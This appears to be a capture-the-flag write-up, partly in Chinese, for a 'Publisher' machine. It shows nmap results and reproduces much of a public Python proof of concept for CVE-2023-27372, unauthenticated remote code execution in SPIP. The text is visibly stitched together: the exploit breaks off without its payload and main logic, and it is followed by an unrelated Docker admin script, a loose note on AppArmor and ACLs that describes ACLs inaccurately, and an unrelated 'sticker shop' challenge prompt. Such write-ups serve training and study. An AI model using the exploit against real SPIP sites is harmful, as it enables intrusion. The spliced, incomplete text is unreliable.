The “Publisher“ CTF machine is a simulated environment hosting some services. Through a series of enumeration techniques, including directory fuzzing and version identification, a vulnerability is discovered, allowing for Remote Code Execution (RCE). Attempts to escalate privileges using a custom binary are hindered by restricted access to critical system files and directories, necessitating a deeper exploration into the system’s security profile to ultimately exploit a loophole that enables the execution of an unconfined bash shell and achieve privilege escalation.
信息收集
nmap
1
nmap -sS -sV -Pn 10.10.42.106
1 2 3 4
PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.10 (Ubuntu Linux; protocol 2.0) 80/tcp open http Apache httpd 2.4.41 ((Ubuntu)) Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
# Exploit Title: SPIP < 4.2.1 - Remote Code Execution (Unauthenticated) # Google Dork: inurl:"/spip.php?page=login" # Date: 19/06/2023 # Exploit Author: nuts7 # Vendor Homepage: https://www.spip.net/ # Software Link: https://files.spip.net/spip/archives/ # Version: < 4.2.1 (Except few fixed versions indicated in the description) # Tested on: Ubuntu 20.04.3 LTS, SPIP 4.0.0 # CVE reference : CVE-2023-27372 (coiffeur) # CVSS : 9.8 (Critical) # # Vulnerability Description: # # SPIP before 4.2.1 allows Remote Code Execution via form values in the public area because serialization is mishandled. Branches 3.2, 4.0, 4.1 and 4.2 are concerned. The fixed versions are 3.2.18, 4.0.10, 4.1.8, and 4.2.1. # This PoC exploits a PHP code injection in SPIP. The vulnerability exists in the `oubli` parameter and allows an unauthenticated user to execute arbitrary commands with web user privileges. # # Usage: python3 CVE-2023-27372.py http://example.com
import argparse import bs4 import html import requests
defparseArgs(): parser = argparse.ArgumentParser(description="Poc of CVE-2023-27372 SPIP < 4.2.1 - Remote Code Execution by nuts7") parser.add_argument("-u", "--url", default=None, required=True, help="SPIP application base URL") parser.add_argument("-c", "--command", default=None, required=True, help="Command to execute") parser.add_argument("-v", "--verbose", default=False, action="store_true", help="Verbose mode. (default: False)") return parser.parse_args()
defget_anticsrf(url): r = requests.get('%s/spip.php?page=spip_pass' % url, timeout=10) soup = bs4.BeautifulSoup(r.text, 'html.parser') csrf_input = soup.find('input', {'name': 'formulaire_action_args'}) if csrf_input: csrf_value = csrf_input['value'] if options.verbose: print("[+] Anti-CSRF token found : %s" % csrf_value) return csrf_value else: print("[-] Unable to find Anti-CSRF token") return -1
defsend_payload(url, payload): data = { "page": "spip_pass", "formulaire_action": "oubli", "formulaire_action_args": csrf, "oubli": payload } r = requests.post('%s/spip.php?page=spip_pass' % url, data=data) if options.verbose: print("[+] Execute this payload : %s" % payload) return0
# Function to list Docker containers list_containers() { if [ -z "$(docker ps -aq)" ]; then docker run -d --restart always -p 8000:8000 -v /home/think:/home/think 4b5aec41d6ef; fi echo"List of Docker containers:" docker ps -a --format "ID: {{.ID}} | Name: {{.Names}} | Status: {{.Status}}" echo"" }
# Function to prompt user for container ID prompt_container_id() { read -p "Enter the ID of the container or leave blank to create a new one: " container_id validate_container_id "$container_id" }
# Function to display options and perform actions select_action() { echo"" echo"OPTIONS:" local container_id="$1" PS3="Choose an action for a container: " options=("Start Container""Stop Container""Restart Container""Create Container""Quit")
select opt in"${options[@]}"; do case$REPLYin 1) docker start "$container_id"; break ;; 2) if [ $(docker ps -q | wc -l) -lt 2 ]; then echo"No enough containers are currently running." exit 1 fi docker stop "$container_id" break ;; 3) docker restart "$container_id"; break ;; 4) echo"Creating a new container..." docker run -d --restart always -p 80:80 -v /home/think:/home/think spip-image:latest break ;; 5) echo"Exiting..."; exit ;; *) echo"Invalid option. Please choose a valid option." ;; esac done }
# Main script execution list_containers prompt_container_id # Get the container ID from prompt_container_id function select_action "$container_id"# Pass the container ID to select_action function
再回想一下题目描述，“necessitating a deeper exploration into the system’s security profile”，需要对系统的安全配置文件进行更深入的探索
1
Attempts to escalate privileges usinga custom binary are hindered by restricted access to critical systemfilesanddirectories, necessitating a deeper exploration intothesystem's security profile to ultimately exploit a loophole that enables the execution of an unconfined bash shell and achieve privilege escalation.
检查 ACL 和 SELinux 以及 AppArmor
（简单介绍一下 ACL ，SELinux，AppArmor：ACL 是访问控制表，是由很多条“deny|permit” 语句组成，每一条都是 rule，用于控制网络流量的进出。SELinux 是一个 Linux 内核模块，也是 Linux 的一个安全子系统，为了限制资源的访问。AppArmor 是与 SELinux 类似的一个访问控制系统，通过它可以指定程序的读写权限等等，其实我并不是很了解）
Your local sticker shop has finally developed its own webpage. They do not have too much experience regarding web development, so they decided to develop and host everything on the same computer that they use for browsing the internet and looking at customer feedback. Smart move!
Can you read the flag at http://10.10.110.119:8080/flag.txt?
